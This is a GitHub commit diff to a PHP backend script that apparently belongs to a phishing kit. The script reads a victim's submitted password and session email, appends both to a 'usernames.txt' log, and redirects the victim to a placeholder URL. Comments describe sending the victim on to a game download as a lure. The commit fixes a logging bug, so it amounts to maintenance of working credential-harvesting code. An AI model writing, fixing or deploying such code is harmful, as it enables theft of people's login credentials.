Fix "8" gets printed at the end
This commit is contained in:
Usama Abdul Sattar 2019-06-15 09:17:31 +05:00 committed by GitHub
parent 3d8b400ddb
commit 61cba860fc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -4,15 +4,9 @@ include 'ip.php';
$pass = $_POST["password"];
$email=$_SESSION["Email"];
//opening logins text file for appending new data.
$file = fopen("usernames.txt", "a") or die("Unable to open file!");
//Writing email and password to logins.txt.
fwrite($file, "[EMAIL: ]" . " ". $email . " " . " " . "[PASS: ]" . " " . $pass .FILE_APPEND);
fclose($file);//closing logins.txt.
//redirecting user to the google drive's locations where the game is available to download.
//change the location url to redirect to a website of your choice.
file_put_contents("usernames.txt", "[EMAIL: ]" . " ". $email . " " . " " . "[PASS: ]" . " " . $pass . "\n", FILE_APPEND);
header('Location: <CUSTOM>');
exit();